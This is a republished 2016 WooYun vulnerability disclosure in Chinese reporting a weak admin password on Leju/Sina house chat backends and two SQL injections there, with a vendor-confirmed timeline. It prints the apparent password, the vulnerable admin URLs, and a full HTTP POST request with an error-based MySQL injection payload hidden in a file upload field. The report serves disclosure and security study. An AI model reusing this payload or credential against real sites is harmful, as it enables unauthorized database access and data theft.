乐居一处弱口令到2个后台再到2个SQL注入

admin 2017年4月28日09:57:03评论254 views字数 215阅读0分43秒阅读模式
摘要

2016-04-26: 细节已通知厂商并且等待厂商处理中
2016-04-26: 厂商已经确认,细节仅向厂商公开
2016-05-06: 细节向核心白帽子及相关领域专家公开
2016-05-16: 细节向普通白帽子公开
2016-05-26: 细节向实习白帽子公开
2016-06-10: 细节向公众公开

漏洞概要 关注数(5) 关注此漏洞

缺陷编号: WooYun-2016-200541

漏洞标题: 乐居一处弱口令到2个后台再到2个SQL注入

相关厂商: leju.com

漏洞作者: sqlfeng

提交时间: 2016-04-26 06:22

公开时间: 2016-06-10 15:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: Mysql

1人收藏


漏洞详情

披露状态:

2016-04-26: 细节已通知厂商并且等待厂商处理中
2016-04-26: 厂商已经确认,细节仅向厂商公开
2016-05-06: 细节向核心白帽子及相关领域专家公开
2016-05-16: 细节向普通白帽子公开
2016-05-26: 细节向实习白帽子公开
2016-06-10: 细节向公众公开

简要描述:

哎哟,这个注入不错哦

详细说明:

http://chat.house.sina.com.cn/

lejuxinwen

后台的话,可以修改很多东西,我就不截图了

http://chat.house.sina.com.cn/index.php/admin/room/index?cityid=-1&title=&id=&begintime=&endtime=&realname=&template=

参数都没过滤吧

还有多处,自行排查

再列一处后台:

supports.house.sina.com.cn/chat

用http://chat.house.sina.com.cn的cookies就可以进去,

code 区域
POST //chat/admin.php?c=room&a=manage&method=post&id=3824 HTTP/1.1
Host: supports.house.sina.com.cn
Content-Length: 532
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://supports.house.sina.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySBLO3Fx4OQOMZ3LU
Referer: http://supports.house.sina.com.cn//chat/admin.php?c=room&a=manage&id=3824
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 马赛克
Connection: close

------WebKitFormBoundarySBLO3Fx4OQOMZ3LU
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
------WebKitFormBoundarySBLO3Fx4OQOMZ3LU
Content-Disposition: form-data; name="savemode"

1
------WebKitFormBoundarySBLO3Fx4OQOMZ3LU--

乐居一处弱口令到2个后台再到2个SQL注入

直接把图片内容update到数据库啊...太6了......

再到邮箱

乐居一处弱口令到2个后台再到2个SQL注入

漏洞证明:

两个后台,分别两个注入

乐居一处弱口令到2个后台再到2个SQL注入

end -->#

修复方案:

版权声明:转载请注明来源 sqlfeng@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-26 15:31

厂商回复:

非常感谢您对乐居的关注,我们会尽快修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-26 09:21 | 包包 ( 实习白帽子 | Rank:77 漏洞数:34 | 我是菜鸟,我怕谁?小弟新来,望大牛多多包...)

    0

    好久没看你提交漏洞了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin